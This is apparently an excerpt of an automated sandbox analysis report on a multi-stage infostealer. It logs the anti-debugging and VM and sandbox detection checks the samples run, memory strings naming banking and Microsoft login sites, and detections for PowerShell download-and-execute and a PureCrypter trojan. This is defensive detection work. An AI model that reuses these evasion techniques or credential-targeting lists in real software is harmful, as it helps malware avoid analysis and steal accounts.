Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsHDGCAAFBFB.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C96C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C96C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2777597649.0000000000DE2000.00000040.00000001.01000000.00000003.sdmp, DocumentsHDGCAAFBFB.exe, DocumentsHDGCAAFBFB.exe, 00000017.00000002.2837337179.0000000000A58000.00000040.00000001.01000000.0000000B.sdmp, 7250ce8e20.exe, 7250ce8e20.exe, 0000001B.00000002.3462057694.0000000000413000.00000040.00000001.01000000.00000010.sdmp, 7250ce8e20.exe, 0000001B.00000002.3497570983.0000000005F8F000.00000040.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3357635672.0000000000D6B000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3357172433.0000000000D69000.00000004.00000020.00020000.00000000.sdmp, 35e66d06ff.exe, 0000001E.00000002.3279421825.0000000001262000.00000040.00000001.01000000.00000011.sdmp, skotes.exe, 00000023.00000002.3364811273.0000000000F18000.00000040.00000001.01000000.0000000E.sdmp, 8865d2703a.exe, 0000002C.00000002.3501372033.000000000031F000.00000040.00000001.01000000.00000013.sdmp, 35e66d06ff.exe, 00000030.00000002.3478083221.0000000001262000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 7250ce8e20.exe, 00000022.00000003.3416253618.0000000005810000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: file.exe, 00000000.00000002.2779347504.000000000169E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware'z~p
Source: 7250ce8e20.exe, 00000022.00000003.3416253618.0000000005810000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: 7250ce8e20.exe, 00000022.00000003.3416253618.0000000005810000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: 35e66d06ff.exe, 0000001E.00000002.3293296795.0000000001720000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWz
Source: 7250ce8e20.exe, 00000022.00000003.3416253618.0000000005810000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: 35e66d06ff.exe, 00000030.00000002.3473282666.0000000000B24000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW\|
Source: 7250ce8e20.exe, 00000022.00000003.3416253618.0000000005810000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: 7250ce8e20.exe, 0000001B.00000002.3488746821.00000000054E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}c
Source: 7250ce8e20.exe, 00000022.00000003.3416253618.0000000005810000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000002.2779347504.0000000001717000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2779347504.00000000016E2000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3357172433.0000000000D1C000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000002.3468049249.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000002.3468049249.0000000000D1E000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3364981384.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3349859652.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3345260829.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3359116369.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3294432672.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 7250ce8e20.exe, 00000022.00000003.3416253618.0000000005810000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: 7250ce8e20.exe, 0000001B.00000002.3488746821.00000000054E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: 7250ce8e20.exe, 00000022.00000003.3416253618.0000000005810000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: 7250ce8e20.exe, 00000022.00000003.3416253618.0000000005810000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: 7250ce8e20.exe, 00000022.00000003.3416253618.0000000005810000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: 7250ce8e20.exe, 00000022.00000003.3416253618.0000000005810000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: 7250ce8e20.exe, 00000022.00000003.3416253618.0000000005815000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: file.exe, 00000000.00000002.2779347504.0000000001717000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW1?
Source: 35e66d06ff.exe, 0000001E.00000002.3293296795.00000000016F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx@r
Source: 7250ce8e20.exe, 00000022.00000003.3416253618.0000000005810000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: 7250ce8e20.exe, 00000022.00000003.3416253618.0000000005810000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: 7250ce8e20.exe, 00000022.00000003.3416253618.0000000005810000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: 7250ce8e20.exe, 00000022.00000003.3416253618.0000000005810000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: 7250ce8e20.exe, 00000022.00000003.3416253618.0000000005810000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: 7250ce8e20.exe, 00000022.00000003.3416253618.0000000005810000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: 7250ce8e20.exe, 00000022.00000003.3416253618.0000000005810000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: 7250ce8e20.exe, 00000022.00000003.3416253618.0000000005810000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: 35e66d06ff.exe, 0000001E.00000002.3293296795.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware.=
Source: 7250ce8e20.exe, 00000022.00000003.3416253618.0000000005810000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: 7250ce8e20.exe, 0000001B.00000002.3488746821.00000000054E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-
Source: 7250ce8e20.exe, 00000022.00000003.3416253618.0000000005810000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: 7250ce8e20.exe, 00000022.00000003.3416253618.0000000005810000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: 7250ce8e20.exe, 00000022.00000003.3416253618.0000000005810000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: 35e66d06ff.exe, 0000001E.00000002.3293296795.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 7250ce8e20.exe, 00000022.00000003.3416253618.0000000005810000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: 7250ce8e20.exe, 00000022.00000003.3416253618.0000000005810000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: 7250ce8e20.exe, 00000022.00000003.3416253618.0000000005810000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: 7250ce8e20.exe, 00000022.00000003.3416253618.0000000005810000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: 7250ce8e20.exe, 00000022.00000003.3416253618.0000000005810000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: 7250ce8e20.exe, 00000022.00000003.3416253618.0000000005810000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2777597649.0000000000DE2000.00000040.00000001.01000000.00000003.sdmp, DocumentsHDGCAAFBFB.exe, 00000017.00000002.2837337179.0000000000A58000.00000040.00000001.01000000.0000000B.sdmp, 7250ce8e20.exe, 0000001B.00000002.3462057694.0000000000413000.00000040.00000001.01000000.00000010.sdmp, 7250ce8e20.exe, 0000001B.00000002.3497570983.0000000005F8F000.00000040.00000800.00020000.00000000.sdmp, 35e66d06ff.exe, 0000001E.00000002.3279421825.0000000001262000.00000040.00000001.01000000.00000011.sdmp, skotes.exe, 00000023.00000002.3364811273.0000000000F18000.00000040.00000001.01000000.0000000E.sdmp, 8865d2703a.exe, 0000002C.00000002.3501372033.000000000031F000.00000040.00000001.01000000.00000013.sdmp, 35e66d06ff.exe, 00000030.00000002.3478083221.0000000001262000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 7250ce8e20.exe, 0000001D.00000003.3267429232.00000000054FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 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
Source: 7250ce8e20.exe, 00000022.00000003.3416253618.0000000005810000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: 7250ce8e20.exe, 00000022.00000003.3416253618.0000000005810000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	File opened: SIWVID

Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe

System information queried: KernelDebuggerInformation

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsHDGCAAFBFB.exe

Code function: 23_2_04FD0C7F rdtsc

23_2_04FD0C7F

Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe

Code function: 27_2_0026E470 LdrInitializeThunk,

27_2_0026E470

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9B5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C9B5FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6C953480

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C98B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C98B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 5340, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 35e66d06ff.exe PID: 7312, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 35e66d06ff.exe PID: 5388, type: MEMORYSTR

Detected PureCrypter Trojan

Source: 7250ce8e20.exe, 0000001B.00000003.3094735968.00000000054EB000.00000004.00000800.00020000.00000000.sdmp

String found in binary or memory: {"ConfigIDs":"{\"ECS\":\"P-R-1082570-1-11,P-D-42388-2-6\",\"Edge\":\"P-X-1253166-4-5,P-X-1126445-2-5,P-X-1159506-2-5,P-X-1137521-3-11,P-X-1116674-11-34,P-X-1095018-2-6,P-X-1096650-2-6,P-X-1077147-1-9,P-X-1069756-2-8,P-X-1071593-2-4,P-X-1061902-3-17,P-X-1048071-1-5,P-X-1010579-1-9,P-X-1036081-1-3,P-X-1012411-2-9,P-X-97954-9-100,P-R-1068861-4-11,P-R-1008497-12-13,P-R-87486-2-17,P-R-67067-6-64,eej45377:646690,41612551:479862,cfg5e884:560003,eggf0128:472101,sendtabqr:498558,edauth0529:481519,9ffeg962:402950,ed0317:378541,producttrackingalertsettings_v1cf:458226,2chfa640:363442,edpas404:384675,hjd07315:315108,edenh823:312573,v1_onlineselextraction:330872,edklo447:358232,linkui:481501\",\"EdgeConfig\":\"P-R-1457891-1-5,P-R-1279375-1-7,P-R-1221542-1-5,P-R-1176033-4-5,P-R-1174322-1-4,P-R-1129815-1-5,P-R-1148262-1-5,P-R-1147287-1-6,P-R-1136203-1-4,P-R-1133477-1-4,P-R-1130507-1-6,P-R-1113531-4-9,P-R-1099640-1-4,P-R-1098501-1-7,P-R-1090419-1-5,P-R-1082109-1-6,P-R-1082170-11-26,P-R-1052391-1-8,P-R-1036635-2-5,P-R-110491-24-85,P-R-68474-9-12,P-R-61206-14-20,P-R-61153-10-15,P-R-60617-7-21,P-R-45373-8-85,P-R-46265-41-108,P-D-1150672-1-4\",\"EdgeDomainActions\":\"P-R-1093245-1-19,P-R-1037936-1-14,P-R-1024693-1-11,P-R-108604-1-36,P-R-78306-1-18,P-R-73626-1-17,P-R-71025-5-13,P-R-63165-4-26,P-R-53243-2-7,P-R-40093-3-26,P-R-38744-7-97,P-R-31899-21-485,P-D-1138318-1-3,P-D-98331-6-32\",\"EdgeFirstRunConfig\":\"P-R-1075865-1-7\",\"Segmentation\":\"P-R-1473016-1-8,P-R-1159985-1-5,P-R-1113915-25-11,P-R-1098334-1-6,P-R-66078-1-3,P-R-66077-1-5,P-R-60882-1-2,P-R-43082-3-5,P-R-42744-1-2\"}","Edge":{"AccountLevelSyncReclaim":{"enableFeatures":["msAccountLevelSync